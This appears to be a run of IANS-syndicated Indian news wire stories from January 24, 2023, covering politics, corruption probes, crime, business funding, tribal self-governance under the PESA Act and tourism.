The outlook for Indian SaaS investment remains broadly positive over the next 12 months, with 90 per cent of Indian SaaS investors expecting to increase or maintain their capital allocation to SaaS.

"Over 70 per cent of Indian SaaS investors plan to increase their investment in the sector," said Prabhav Kashyap, Partner at Bain & Company and co-author of the report.

Buyer sentiment in SaaS will remain broadly positive going forward as well, with approximately 65 per cent of enterprise software decision makers expecting to increase their 2023 software budgets, said the report.
New Delhi, Jan 24 : After proceedings to elect the Mayor and Deputy Mayor began at the Municipal Corporation of Delhi (MCD) headquarters on Tuesday, Aam Aadmi Party leader Saurabh Bhardwaj raised the question of the deployment of security personnel inside the House.

"Paramilitary forces are being allowed to enter inside the House with sticks in their hands. Does BJP want to take over the MCD by force intimidation?" he queried in a Twitter post.

"I have been elected to the Delhi Assembly three times, but have not seen ever such massive deployment of paramilitary forces inside the House with sticks in their hands, helmets and shields. It is for the first time that such deployment are being allowed inside the house," he said.

Bhardwaj further said that they have the permission to be deployed outside the House.

"If BJP has the mandate, why they are taking help of security personnel?" he asked.

"Does the BJP want to get over the MCD with the help of security forces? I want to say this to all the MPs of the country that if you all don't come to oppose this today, there may be chances that forces could be deployed in Parliament too," the AAP leader said.

However, BJP mayoral candidate Rekha Gupta said the forces were deployed because of the bad behaviour of AAP councillors in the last meeting when they attacked their saffron party counterparts.

The forces have been deployed to avoid any such unfortunate incidents, she added.
New Delhi, Jan 24: A major scam has surfaced with "untraceable" allottees getting prime plots worth crores of rupees in Punjab Small Industries and Export Corporation's (PSIEC's) Mohali industrial estate.

RTI activist Dilbagh Singh alleges these plots have been allotted at a very low reserved price. They were taken back by the PSIEC from the original allottees due to the non-fulfilment of allotment conditions. Ideally, such plots should have been auctioned but were allotted to a select few in a hush-hush manner.

These industrial plots are situated in Industrial Area Phase 8-A and 8-B of Mohali on the outskirts of Chandigarh. This startling revelation has been made in the Vigilance Bureau's inquiry.

The Vigilance Bureau (VB) is yet to register an FIR, though inquiry number 3 of 2018 regarding these and other plots, has been completed long back concluding that the "owners do not exist." An FIR has been registered in a separate inquiry number 10 in which former Industries Minister Sunder Sham Arora was booked along with an IAS officer Neelima and 13 others. The VB arrested 8 officials of the PSIEC in connection with the case in January 2023.

The ownership of 14 highly priced plots in the name "non-existent" persons has also led to the queer case of some advocates appearing before a court for ghost plot holders raising questions over the practice of advocacy.

RTI activist Dilbagh Singh alleges that these plots worth several crores of rupees belong to certain officers of the PSIEC and their friends, relatives, or partners in the real estate business. The plots have been transferred in the names of non-existent persons fraudulently.

When Dilbagh Singh moved the State Information Commission in July last year to seek information about the ownership of these plots, the "untraceable allottees" suddenly appeared before the court of Suresh Arora, Chief Information Commissioner through their respective advocates.

Advocate Rohit Gupta represented his clients owning plot numbers F-461, D-203, E-260, D-263, F-460, F-461, and F-463. Advocate R.C. Sharma appeared for his clients who owned plot numbers F-462, F-459, and F-550. Two other advocates, Gurdev Singh Saini and Gourav Kumar, also appeared for some of the ghost plot holders.

Indianarrative.com contacted advocate Rohit Gupta to know whether his clients met him in person to sign the 'vakalatnama' authorising him to represent them in court. Gupta refused to reveal anything saying, "it is between me and my clients. I acted as per my brief. I have no other comment to make." However, advocate R. C. Sharma was genuinely forthcoming. He admitted that some people claiming to be representing Harjinder Singh, resident of 470, Sector 82, Mohali, owner of plot number F-550, and Dalip Singh Arora, resident of 2037, phase 7, Mohali, owner of plot number F-459 met him in his office. "They asked for a blank copy of the 'vakalatnama' that they were to get signed by the allottees. I gave them copies of the 'vakalatnama', and they returned with duly signed copies," he said. Sharma never met or saw his client.

The other "ghost owners" hold plot numbers, F-461, C-193, C-194, C-195, D-203, E-260, D-263, D-250, F-460, F-461, F-462, and F-463 in their names.

R. S. Bajaj, a senior lawyer of the Punjab and Haryana High Court explains that based on the Advocates Act, the lawyer must make sure he is appearing in court for a living and existing client and not for a fake or non-living person. It is essential to get the 'vakalatnama' signed by the client in person before the eyes of the advocate being hired, he adds.

Sources maintain that if this is brought to the notice of the Bar Council, the advocates concerned could be in trouble.

(The content is being carried under an arrangement with indianarrative.com) --indianarrative
Chennai, Jan 24 : The Tamil Nadu Generation and Distribution Company (Tangedco) is to formulate a plan for consumers to give up the 100 free units and other power subsidies. This will come into effect after the Aadhaar linking of the consumers is completed.

A senior officer with Tangedco while speaking to IANS said that the power utility is in the final phase of executing the project and an announcement on the same would be given soon.

The households of Tamil Nadu as well as the weavers are getting 100 free units as a subsidy and the state power department is making alternate arrangements to substitute this.

Streamlining of power subsidies, Aadhaar linking of consumers, and feeder segregation are three major parameters to be executed by a power utility to get the Central government funding.

Tangedco has already taken steps for Aadhaar linking and feeder segregation and the power utility is now planning a scheme so that the consumers are giving up the subsidies voluntarily. If the consumers give up the power subsidies, the financial situation of Tangedco improves.

However, there has to be a separate column on Tangedco website required to introduce the scheme that helps the consumers give up the subsidies voluntarily. The Tangedco will advertise the scheme and report to Tamil Nadu Electricity Regulatory Commission.

With the last date for linking of Aadhaar cards coming up on January 31, the Tangedco, according to the senior official, has no plan to extend the last date. The Tangedco official also said that a new plan for voluntarily foregoing the power subsidy will be submitted before the Tamil Nadu Assembly session is convened.
New Delhi : Himachal Pradesh Sukhvinder Singh Sukhu calls on Prime Minister Narendra Modi in New Delhi on Tuesday, jan. 24, 2023. (Photo: Twitter) Image Source: IANS News

New Delhi : Himachal Pradesh Sukhvinder Singh Sukhu calls on Prime Minister Narendra Modi in New Delhi on Tuesday, jan. 24, 2023. (Photo: Twitter) Image Source: IANS News

New Delhi : Himachal Pradesh Sukhvinder Singh Sukhu calls on Prime Minister Narendra Modi in New Delhi on Tuesday, jan. 24, 2023. (Photo: Twitter) Image Source: IANS News

New Delhi, Jan 24 : Himachal Pradesh Chief Minister Sukhvinder Singh Sukhu on Tuesday called on Prime Minister Narendra Modi here and sought liberal assistance for development projects.

It was a courtesy call after becoming the Chief Minister, an official statement by the state government said.

Besides discussing issues of various development projects, the Chief Minister requested for liberal assistance from the Centre for giving fillip to the ongoing development works.

The Chief Minister assured the Prime Minister that the state government will effectively implement the centrally launched schemes like Pradhanmantri Gati Shakti Yojna which is aimed to revolutionise infrastructure and Parvatmala Yojna for construction of ropeways.

He said both these schemes would immensely benefit the people of the state, adding connectivity and infrastructure development are one of the main focus areas of the present government besides generating employment avenues.

The Chief Minister also honoured the Prime Minister with traditional memento, a Himachali shawl and a cap.

Prime Minister Modi congratulated Sukhu on becoming the Chief Minister and assured all possible support to the state.
Chennai, Jan 24 : The District Collector (DC) of Krishnagiri in Tamil Nadu has commenced a probe into a complaint filed by Dalit political party Viduthalai Chiruthaigal Katchi (VCK) on the existence of a twin tumbler system.

On Monday, VCK office bearers had petitioned DC V. Jaya Chandra Bhanu Reddy that the SC/ST people were demarcated in the district and that there were cases of the twin tumbler system in hotels and restaurants across Krishnagiri.

Some hotels and small tea shops in rural areas of Tamil Nadu provide tea and water to those belonging to the Dalit community in a separate tumbler. This is called as the twin tumbler system.

According to the local police, the VCK has complained of 11 villages, including Belpatti, Manjukondapalli, Arthakkal, Doddur, and Devakoundanandodi, in Anchetti taluk of practicing the system.

Recently, a drinking water tank that supplies water to a Dalit colony in Vengavail, Pudukottai district, was found with human excreta.

During inquiry into case, the Pudukottai District Collector also found widespread deployment of the twin tumbler system.
The love story began with two girls who fell in love, faced family opposition as expected and then when one of them underwent a sex change, things turned sour.

Jhansi, Jan 24 (IANS) It is a love story that has gone awry.

The love story began with two girls who fell in love, faced family opposition as expected and then when one of them underwent a sex change, things turned sour.

The two are now on a warpath.

To begin at the beginning, Sonal used to stay with her parents in Jhansi when Sana came in as the paying guest. She stayed on the upper floor of the same house in 2016.

The two girls first became friends and then it blossomed into love within four months.

However, Sana was asked to move out as Sonal's family did not approve of their relationship.

Sana, who was working in a government job in Jhansi, was allotted a quarter and she moved out in 2017.

Days after Sana had moved out, Sonal too left her house to live with her.

As time passed, Sonal convinced Sana to undergo a sex-change surgery. They visited Sir Ganga Ram Hospital in Delhi, where doctors performed medical tests and declared Sana 'fit' for the procedure.

After the surgery in June 2020, Sana said she officially changed her name to Sohail Khan.

During her hospitalisation, Sonal signed all medical documents as the 'wife' of Sohail Khan, Sana claimed.

While Sana was already employed in a government job, Sonal also wanted one. In 2022, Sonal got a job at the Yatharth Hospital.

However, things soon turned sour for Sohail when she noticed a change in Sonal's behaviour.

Sonal began avoiding her and spent most of her time at the hospital, which often led to arguments between them.

One night, Sohail saw Sonal crying and saying she was missing her family on a group call with two others.

However, she soon discovered that Sonal was in a relationship with one Gyaan, who worked with her at the same hospital.

When questioned, Sonal said she wanted to live with Gyaan.

Sonal soon left Sohail and returned home.

She and her family even filed a case against Sohail, accusing her of rape, abduction and harassment.

Sohail narrated the ordeal before the police, after which Sonal was summoned for questioning but she did not turn up.

Sohail, thereafter, approached the court but Sonal avoided appearing before the court.

Sonal was arrested on January 18 and is now out on bail.

The next hearing is on February 23.
Surat : , Jan 24 (IANS) In a shocking rerun of the Delhi car-drag case, a body was found almost 12 km away from the accident site in Palsana taluka of Surat district, police said on Tuesday.

The accident happened on January 18 when a car hit a couple who were on a two-wheeler. It was only after a video of the speeding car involved in the accident surfaced that the culprits could be identified.

The samaritan, who had followed and recorded the speeding car, shared the video clip with the Surat rural police.

District Superintendent of Police Hitesh Joysar told media persons, "A citizen had shared the video of the suspected car on my WhatsApp. We were able to identify the car and locate the accused's residence. Right now the accused driver has gone underground, but we will arrest him soon." On January 18 a hit-and-run case was reported from the Palsana taluka falling under Kadodara Police station. Injured Ashwini Patil was rushed to the Surat government hospital for treatment. Next day when she gained consciousness, she was informed that her husband, Sagar's body was found some 12 km away from the accident site.

The car, which had hit them, had dragged Sagar's body.

According to the police, the citizen wished anonymity. The police said, "He noticed that a person fell from a car in front. So he followed the car, recorded the video on mobile. As the front car was speeding up, he orally recorded the car's registration number. Initially he did not gather courage to share the information with the police, but after reading the news in the media, he decided to share the video footage." Further details were awaited.

In a horrific incident, Anjali Singh, 20, was killed in the early hours of New Year after her scooty was hit by a car which dragged her for 10-12 km from Sultanpuri to Kanjhawala in Delhi.
Mumbai, Jan 24 : Bollywood actress Tabu, who is awaiting the release of her next film 'Bholaa', directed by her 'Drishyam 2' co-star Ajay Devgn, revealed that Ajay was a totally different person on the sets of 'Bholaa' as a director.

The two have worked together in about 9 films including the blockbuster 'Drishyam' franchise, yet 'Bhola' is the first where Ajay is directing Tabu.

Image Source: IANS News

Talking about her experience with Ajay at the helm of affairs, Tabu told media on the sidelines of the second teaser launch of 'Bholaa': "While directing, he was not the Ajay Devgn, whom I've known for so many years. He was some other human being on the set as he sat on the director's chair".

About any special treatment she recieved on the sets considering the two share a long working history, the actress said: "Special treatment? He didn't even smile at me while working. He became so quiet, so focused, he's anyway quiet but he became all the more silent as he donned the director's hat."

Image Source: IANS News

Shedding light on Ajay's working style as a director, she said: "He himself is such a good actor and that trickles down to his briefing and instructions for his actors on set. And yes he flawlessly switched to an action director while briefing about the action."

'Bholaa' also stars a powerful line-up of actors like Vineet Kumar, Deepak Dobriyal and Sanjay Mishra. The film is set to arrive in cinemas on March 30.

-- Syndicated from IANS
Wellington, Jan 24 : Two Indian men lost their lives while trying to swim in one of the most dangerous spots at Piha Beach, located west of Auckland in New Zealand, media reports said.

Saurin Nayankumar Patel, 28 and Anshul Shah, 31, who had arrived from Ahmedabad last year on a work visa, did not know how to swim and drowned last week, The NZ Herald reported.

Patel was an electrical engineer, while Shah worked as a cashier at a gas station and arrived here in November 2022. They were roommates.

"It is a massive tragedy for the Indian community, the loss of these two men, and our thoughts go out to their families," Indian High Commission second secretary Durga Dass told The NZ Herald.

Confirming the identities of two men, Dass said that the Indian High Commission in Wellington was in touch with the victims' families in India.

United North Piha Surf Lifesaving Club president Robert Ferguson told Herald that a lifeguard in the tower spotted two people in the water near the river mouth around 200 metres from Lion Rock.

"By the time the lifeguards had got to the position where the swimmers had gone in and put their tubes and fins on and swam out, they were gone," Ferguson said.

He added that the spot where the two chose to swim was one of the most dangerous on the beach.

"Where they went in I wouldn't have gone in," Ferguson told The NZ Herald.

hE said it was an enormous response with off-duty lifeguards, rescue boats, police, paramedics and locals with expert health skills.

Resuscitation efforts started immediately after the pair was found, but it was too late.

Givealittle page has been created to raise funds to send their bodies back to India.
New Delhi, Jan 24 : IPO-bound fintech platform BharatPe on Tuesday announced three key appointments, along with hiring Ambuj Bhalla as its Chief Information Security Officer (CISO), as it fights a legal battle with former Co-founder Ashneer Grover in the Delhi High Court.

BharatPe also announced the appointment of Rahul Bhatia as Head of Internal Audit and Ravinder Oberoi as Head of Compliance.

"As we focus on getting IPO ready, it becomes essential for us to ensure that data privacy, cyber security, corporate governance and compliance are given the highest priority," said Shashvat Nakrani, Co-Founder, BharatPe.

"I look forward to collaborating with all the three leaders as we build BharatPe as a brand trusted by millions across the country," he added.

Bhalla has close to two decades of experience with brands like IndiGo Airlines, Reserve Bank Information Technology (ReBIT) and Bharti Airtel, with a strong focus on information security, as well as data privacy and protection.

Bhatia has about 17 years of experience in the domain of governance, risk and compliance (GRC) in the financial services sector while Oberoi is an industry veteran with close to 23 years of experience in financial services, banking as well as insurance companies.

Founded in 2018, BharatPe is currently serving 1 crore merchants across more than 400 cities.

The company is a leader in UPI offline transactions, processing over 18 crore UPI transactions per month (with an annualized transaction processed value of over $24 billion in payments).

The company has facilitated the disbursement of loans close to Rs 8,500 crore to over 450,000 merchants.

The fintech platform also received in-principle authorisation from the Reserve Bank of India (RBI) to operate as an online Payment Aggregator (PA).

Currently, the company is involved in a legal battle with its former Co-founder and managing director Grover, after suing him and his family for allegedly siphoning off company funds worth Rs 88.6 crore.

The Delhi High Court this month asked Grover's counsel to advise his client (Grover) to maintain decorum following his termination from the fintech company while hearing a plea filed by the company seeking orders to restrain Grover and his kin from making defamatory statements against the company, and other reliefs.
New Delhi, Jan 24 : RSS' economic wing, Swadeshi Jagran Manch expressed its concern over issues regarding outflow of valuable foreign exchange in the name of royalty and technical fees by multinational corporations (MNCs).

Referring to the decision of Hindustan Unilever Ltd. (HUL) to increase the Royalty payment to their parent company Unilever, from 2.65 per cent to 3.45 per cent (that is, 80 basis point hike), over three years till 2025, it said: "This decision has once again exposed the unethical practice of increasing royalty payment by MNCs, impacting, health of the economy in general and outgo of foreign exchange and ultimate depreciation of rupee in particular." "Swadeshi Jagran Manch (SJM) demands that the government reimpose these 'caps' to save valuable foreign exchange as there is no logic to continue the same. These curbs would help increase the profits of MNCs, mainly in the automobiles sector, prevent depletion of foreign exchange reserves and protect the interest of minority shareholders. It will also increase the revenue of the government, apart from saving valuable foreign exchange," said Dr Ashwani Mahajan, National Co-Convenor, SJM on Tuesday.

Dr Ashwani Mahajan said that rising royalty and technical fees to foreign companies have been widening the deficit in our Balance of Payment (BOP) further. Royalty payment outflows are payments made by MNCs to their foreign parent firms or by Indian citizens to foreign entities for use of property, patent, copyrighted work, licence or franchise.

Royalty and technical fees is one of the many ways in which MNCs extract huge sums of money from the developing and underdeveloped economies.

For the year 2017-18, "While FDI inflows accounted for USD 60.96 billion, the payments relating to Royalty and technical fees amounted to US$ 20.65 billion. This figure is reaching nearly $25 billion by now. This shows how benefits of FDI are clearly being negated by the outflow on royalty and technical fees. Moreover, these outgoes would continue in future too, even when there is no FDI inflows," he said.

He said that prior to 2009, royalty payments were regulated by the government and were capped at 8 per cent of exports and 5 per cent of domestic sales in case of technology transfer collaborations and was fixed at 2 per cent of exports and 1 per cent of domestic sales for use of trademarks or brand names. This was in tune with international standards and practices.

The outflow of these payments started increasing significantly after the Ministry of Commerce, under Shri Anand Sharma, of the UPA government 'liberalised' the FDI policy in 2009. It had removed the cap and permitted Indian companies to pay royalties to their technical collaborators without seeking prior government approval. After lifting of the cap on the royalty outflows on account of royalty and fee for technical services, has been increasing at a very fast pace, he added.

"It is the considered opinion of Swadeshi Jagran Manch (SJM) that the cap on royalty as it existed prior to 2009, was a prudent policy as it helped in keeping outgo of foreign exchange and therefore keeping the Current Account Deficit in BOP low and therefore reduced requirement of foreign exchange. It is notable that prior to 2009, outgo of foreign exchange on royalty and technical fees was hardly 4 billion $US, which has henceforth been increasing in leaps and bounds and has reached more than $25 billion $US by now," he said.

Under the present circumstance it's imperative to keep the acts of foreign companies in discipline, as they have been increasing outflow of foreign exchange for royalty and technical fees unilaterally after lifting of cap on the same in 2009.
New Delhi, Jan 24 : Pune-based climate-tech startup Ecozen on Tuesday raised $25 million in equity and debt capital in its Series C round, as it looks beyond agriculture to expand into new deep-tech fields worldwide.

The platform estimated that the market size for its sustainability focused technology stacks in India to grow to $25 billion by 2025.

The Series C equity portion was led by Nuveen and Dare Ventures (Coromandel International), with participation from Export-Import Bank of India (India EXIM Bank), and existing investors Caspian and Hivos-Triodos Fonds (managed by Triodos Investment Management).

The debt portion was provided by Maanaveeya Development and Finance, Oxyzo, Northern Arc group, HDFC Bank and Axis Bank.

The company has helped generate over 1 billion units of clean energy (kWh), saved over 20,000 metric tonnes of food loss and reduced over 1 million tonnes of GHG emissions.

"As we expand beyond India and agriculture, we will continue to focus on profitable growth and sustainable technology solutions. Ecozen will aggressively expand production capacity and product range," said Devendra Gupta, CEO and Co-Founder at Ecozen.

Ecozen said it has revolutionised cold chains (through its Ecofrost product line) and the irrigation industry (through its Ecotron product line), improving the incomes of 120,000 farmers and helping decarbonize agriculture.

It will now leverage Nuveen's experience in scaling impact-oriented businesses to augment its commercial offering, and the funding from India Exim Bank will support the Company towards its export-related activities.

The company is looking beyond the agricultural sector to accelerate the broader energy transition through its deeptech expertise in energy storage, motor controls, IoT and analytics.

"With Ecozen's proven expertise in delivering climate-smart technology solutions, while maintaining profitability, together we will exponentially grow their impact globally and beyond agriculture," said Rekha Unnithan, Managing Director and Co-Head of Private Equity Impact Investing at Nuveen.

Harsha Bangari, Managing Director at Export-Import Bank of India, said that Ecozen, with its innovative clean technology solutions, has potential in international markets.
Chennai, Jan 24 : A 25-year-old youth, Khaleel Rahman of Poochinayikanpetti in Tamil Nadu's Dindigul district was on Tuesday arrested after he tried to rob a bank in broad daylight.

The youth tried to rob the Indian Overseas Bank, Thadikombu branch, in the district in the latest Ajith Kumar-starrer 'Thunivu'.

He barged into the bank and kept the bank employees hostage. He used chilly powder, pepper spray, and a knife to rob the bank. He tied three bank employees using plastic tags. However, one of the employees broke himself free and alerted the local people.

People from the neighbourhood arrived in large numbers and overpowered Khaleel who was later handed over to the police.

The youth, according to local police, informed that he was depressed with life and tried to rob the bank after getting inspiration from the movie 'Thunivu' which portrays a bank heist.

The Dindigul West police have commenced investigation on Khaleel Rahman and his antecedents and whether he was involved in any such acts earlier. The police are also probing conspiracy angle involving other people also in the bank robbery.
Guwahati, Jan 24 : Insurgent groups in the northeast have called to boycott Republic Day in the region In Assam, the banned United Liberation Front of Asom-Independent (ULFA-I) militant group has called for an 18-hour bandh and asked people to remain indoors and mark the day as protest instead of celebrating it.

In a statement, the disbanded organisation said: "Essential services such as relief works, medical care, electricity, water supply, fire services, and the press shall remain outside the purview of the general strike." Another insurgent group, National Socialist Council of Nagaland-Khaplang (NSCN-K), has also issued a similar statement to boycott Republic Day celebrations in the northeast.

Meanwhile, the conglomeration of six militant outfits KCP, KYKL, PREPAK, PREPAK (Pro), RPF, and UNLF has also called to boycott the day in Manipur.

These six insurgent groups have been demanding the sovereignty of Manipur.

"The people of Manipur have no reason to be happy for being a state of India and should not join the Republic Day celebrations. The past history mentions that Manipur was a nation that regained its independence from the colonial British in 1947, one day ahead of India. It was never a part of India," the outfits said in a joint statement.
New Delhi, Jan 24 : The Enforcement Directorate (ED) on Tuesday said it has conducted searches at eight locations in Gurugram, Kolkata and Manipur belonging to Sanasam Jacky Singh, Managing Director of Lamjingba Group of companies based in Manipur in a money laundering case linked to a Ponzi scheme.

Rs 34 lakh in cash and various incriminating documents such as copies of property documents, list of investors, details of funds collected from the investors, foreign investments etc have been recovered and seized, an official said.

"These incriminating documents are related to generation of proceeds of crime, its further diversion, transfer and end use by the accused Sanasam Jacky Singh and others. Two bank accounts of the accused Sanasam Jacky Singh, with a balance amount of Rs 1,34,01,989 were also freezed," the official said.

The ED said that apart from this four immovable properties (commercial buildings/lands) situated in Gurugram and Imphal, Manipur, were also seized.

Sanasam Jacky Singh was arrested on January 21 and remanded to ED custody by the court.

Earlier, the ED had initiated money laundering investigation against Singh and others, on the basis of seven FIRs registered by the Imphal West Police, Manipur under various sections of IPC, alleging that they had cheated more than 15000 investors in the Manipur State, misappropriated and siphoned off investors' funds.

They had collected huge amounts of money to the tune of more than Rs 580 crore from the public with a promise of exorbitant returns. The Company closed its door on the investors from the 1st quarter of 2020 without returning the promised funds.

Further Investigation in the matter is on.
Khandwa : , Jan 24 (IANS/ 101Reporters) As the afternoon sun shone in all its glory, the people of Devlikala in the tribal-dominated Khalwa block huddled in groups on the neat floor of Mata Chowk. They were discussing names for inclusion in committees under the Panchayats (Extension to Scheduled Areas) Act, 1996, just before the first gram sabha (village council) meeting under the Act.

The PESA Act came into force in Madhya Pradesh on November 15, exactly a month before the meeting in Devlikala, a village in Khandwa district with around 500 households. As the proceedings began, the panchayat assistant secretary called out the names of those assigned the roles of president, vice-president, secretary and treasurer of the gram sabha. The chosen ones slowly gathered in the middle.

At the PESA's core are the tribal-dominated areas in Chhattisgarh, Jharkhand, Odisha, Rajasthan, Madhya Pradesh, Gujarat, Maharashtra, Himachal Pradesh, Andhra Pradesh and Telangana, all designated as Scheduled Areas under the Fifth Schedule of the Constitution.

When panchayats across the country got the status of institutions of self-governance following the enactment of the 73rd and 74th Constitution Amendment Acts of 1992, the Scheduled Areas did not come under their ambit. However, the realisation that tribal people were facing exploitation made the Union government form a committee led by then Ratlam MP Dileep Singh Bhuria to probe into their living conditions. Based on the panel recommendations, the PESA Act was enacted on December 24, 1996, giving extensive powers to gram sabhas to self-govern.

Under the PESA, the powers of a village council are absolute. Its approval is necessary for land acquisition and other development plans. The tribal communities own and manage natural resources (water, land and forest resources, including minor produce) in the area, and the council monitors and implements laws in this regard. The gram sabha has a say in the grant of prospecting licences or mining leases for minor minerals and in the grant of concessions for the exploitation of minor minerals by auction in the Scheduled Areas.

A gram sabha has the mandate to uphold the unique tribal cultural identity. Hence, they also have the power to scuttle any development programme that affects their vibrant tradition. Besides, the Act highlights the collective resolution of disputes based on traditional laws or common practices.

The village council's influence in the social sphere gives it the power to select beneficiaries of government schemes, act against moneylenders, protect the rights of workers, monitor and grant permission for migration/arrival of labourers, and manage village markets.

Other functions include inspection of health centres, anganwadis, ashrams, schools and hostels; right to plan for agriculture, including measures to prevent soil erosion, regulating cattle grazing, rainwater harvesting and distribution, ensuring seed-manure availability and promoting organic fertilisers and pesticides, to name a few.

How it works All registered voters in the panchayat's electoral rolls are gram sabha members. In Madhya Pradesh, a gram sabha should meet trimonthly. This way, four meetings should be held yearly. The quorum of the meeting shall not be less than one-tenth of the total number of members or 500 members of the gram sabha, whichever is less. Special meetings can also be convened, as and when required.

Certain committees are formed to exercise gram sabha's powers, such as enforcing prohibition or restricting the sale and consumption of any intoxicant, maintaining peace and order, and managing waterbodies, to name a few. If need be, the committee's duties can be modified by passing a resolution in the gram sabha. It is possible to hold a joint meeting of two or more village councils if their opinions are required for taking a decision on a project or proposal affecting all of them equally.

The panchayat secretary, who is a government servant, also serves as the gram sabha secretary and convenes the meetings. Panchayat employment assistant can also attend the meeting, but no elected representative can participate. The sarpanch, deputy sarpanch or panches of the village cannot become the president of a gram sabha. The post is reserved for a person belonging to a Scheduled Tribe. The powers of the sarpanches will remain the same, but they will have to follow the gram sabha recommendations.

According to Khalwa block Chief Executive Officer Kishore Kumar Uke, the PESA Act has been a lifesaver for the tribal community, giving them full rights over water, forest, land and mineral wealth. "If three villages are included in a panchayat, then all three will have their own separate gram sabhas. There will be no representation of the general class in the gram sabha of villages under PESA," Uke told 101Reporters.

Though the decisions made are mostly unanimous, a majority opinion can be taken if there is no consensus. If any person or department disagrees with the decision, objections can be raised within 15 days and another gram sabha meeting will look into it within 30 days. If not reconsidered, a committee comprising the district panchayat president and member, and sub-divisional magistrate can be appealed.

Late arrival The PESA Act is applicable to 11,757 villages in 5,254 panchayats of 89 development blocks in 20 districts of Madhya Pradesh. Earlier, gram sabhas used to be convened in 5,254 panchayats, but now the numbers have increased to 11,757.

Before the PESA Act was implemented, all three villages coming under Devlikala panchayat used to participate in the gram sabha, where people from the village with the most representation in the panchayat would have an upper hand.

However, there was equal representation of all in the gram sabha then, unlike the present condition that allows participation of only Scheduled Tribe members. They can take opinions from other caste members of the society, but the final decision taken by the gram sabha will predominantly be that of the Adivasis only.

Madhya Pradesh is the seventh State in the country to implement the Act, nearly 26 years after it was enacted by the Union government. Congress MLA Hiralal Alava and Teer Foundation had raised several objections when the State government published the PESA draft. Milind Thatte of Teer Foundation told 101Reporters that the government system has been the biggest obstacle in the implementation of the PESA Act in Madhya Pradesh. Within a year, the State government had held 50 meetings to understand the flaws and clear hurdles.

State of affairs During its first meeting under the PESA Act, Devlikala gram sabha formed several committees to manage its affairs. Motiram Kasde was nominated as the chairman of the land conservation committee, while Chhote Lal Omkar became its vice-chairman.

Asked about the committee's mandate, Kasde said he has not been informed about it. "We will be told later how this committee will function and what its powers are," he said. Omkar was also not in a position to tell anything.

Peace committee chairman Champalal Palvi admitted that he was not fully aware of his role, but would become familiar with it if there were repeated meetings. Nevertheless, he had gathered a great deal of information about the panel's objectives.

"Minor disputes should not be taken to the police station. The peace committee would like to settle them at the gram sabha level itself. If major cases crop up, police intervention will be sought," Palvi said. Vice-chairman Dayaram Motiram said he was yet to understand the functioning of the peace committee.

Strangely, none of the committees had a woman president or vice-president. Speaking to 101Reporters, sarpanch Indrakala Pyarelal said they had handed over all the responsibilities to the gram sabha. "Because we have to work in these committees in future also, we did whatever we thought was appropriate in forming the committee," she detailed.

On the other hand, women members were clueless about in which committee they had been included. Janaki Bai said being a village senior, she was an office-bearer of some committee. Sunita Phoolchand, Mithiyabai Daduram and Gopibai Rajesh said they have to first find on which committee they have been included and then learn about its functions.

Asked about this, sarpanch Indrakala Pyarelal said she had informed everyone about the PESA Act and the formation of committees a day before the first meeting. Ironically, she also could not provide satisfactory replies about the provisions of the Act either.

Gram panchayat secretary Ranjit Tanwar and employment assistant Kewal Yadav were the only two persons with some knowledge about the PESA Act. Tanwar said the shanti samiti (peace committee), dispute committee, swasthya tadarth samiti (health ad hoc committee), forest resource and control committee, matri committee in anganwadis and groundwater management committee have been formed in the village. The committees constitute of five men and three women members each, following the mandatory 33% representation of the latter.

As the gram sabha proceeded, there was some drama too. Punia Bai, who has not received her widow pension even five years after her husband Shobharam's death, alleged that the panchayat had approved the cases of even women whose husbands had died just a year ago. Her anger knew no bounds, and had an immediate effect as the sarpanch and panchayat secretary consulted among themselves and approved her pension on the spot. A certificate in this regard was handed over too! (Asif Siddiqui is a Khandwa-based freelance journalist and a member of 101Reporters, a pan-India network of grassroots reporters, where this article was originally published.)
Vientiane, Jan 24 : The Lao government hopes to attract 1.4 million domestic and foreign visitors this year, which is expected to generate more than $340 million.

Minister of Information, Culture and Tourism Suanesavanh Vignaket urged relevant officials to work harder to strengthen tourism operations, improve local infrastructure, and create new tourism products, reports Xinhua news agency.

Suanesavanh told a two-day meeting that the ministry will coordinate with central and local authorities on planning tourism development, as well as upgrade tourism sites and improve the quality of hotels and guesthouses to meet ASEAN standards.

Lao Thiao Lao, or Lao Visit Laos program, continues in 2023, with the government hoping to continue attracting domestic tourists as well as visitors from abroad.

The campaign was launched in 2020 to encourage Laos to travel within the Southeast Asian country.

Meanwhile, Laos has begun preparing for the arrival of Chinese tourists after it was listed among 20 countries greenlit by the Chinese government for outbound group tours.

The Lao Airlines plans to operate more flights to welcome Chinese tourists. The airline currently operates three flights a week from the Lao capital Vientiane to Kunming in southwest China's Yunnan Province.

It is set to launch additional flights from Vientiane to Chinese cities of Guangzhou, Shanghai, Chengdu, Changzhou and Hangzhou.

The airline also mulls increasing flights from the northern Luang Prabang province and the southern Champasak province to China, according to the report.
Surat, Jan 24 : The Surat rural police arrested a doctor and his wife from Vadodara district for kidnapping a child. The police cracked the case after six years.

Kamrej police inspector R B Bhator told mediapersons, "In January 2017, Khathor's Sufiyaben had delivered a baby boy at the Primary Health Centre. On the night after the delivery, the baby went missing. A complaint was registered with the Kamrej police station." The police after years received a call informing that the child that had gone missing in 2017, is with Dr Kamlesh Ode and his wife Nayna, both living in Karjan. A police team was sent and the couple was brought to Kamrej along with a six year old boy.

The officer said Dr Kamlesh is serving with the 108 medical emergency service and was posted in Kamrej in 2017. His wife Nayna had a miscarriage issue. After conceiving, she had suffered miscarriages two to three times and so the couple had planned to abduct someone's baby.

To execute the plan, the woman had visited the Primary Health Centre and under the pretext of getting the child vaccinated she kidnapped the child. After committing the offence, Dr Kamrej got himself transferred to Karjan and since then they were living in Karjan and had taken good care of the child, said the police officer.
New Delhi, Jan 24 : As part of BJP's 2024 Lok Sabha poll strategy, Union Home Minister Amit Shah and party president J.P. Nadda will visit Punjab in the first week of February and spend half a day in every Assembly segment.

The duo will also address several rallies during their visit.

In an expansion mode in Punjab, the party is set to launch a yatra against drugs and corruption in all the Lok Sabha constituencies. It has already got a shot in the arm with several leaders from other parties, including Congress and Shiromani Akali Dal (SAD), coming onboard in the last few months.

Emphasising on a drug-free Punjab, state President Ashwani Sharma said: "BJP's yatra this year will focus on drugs and corruption. We will try to awaken the Punjab youth and public against drugs and make the state drug-free. The yatra will start in March and culminate in August after spending 18 days in the constituency".

He further asserted that the BJP is getting support not only in cities but in the rural areas as well. He called upon the workers to take the public welfare schemes launched by Prime Minister Narendra Modi to every household in the villages and motivate them to take advantage of it.
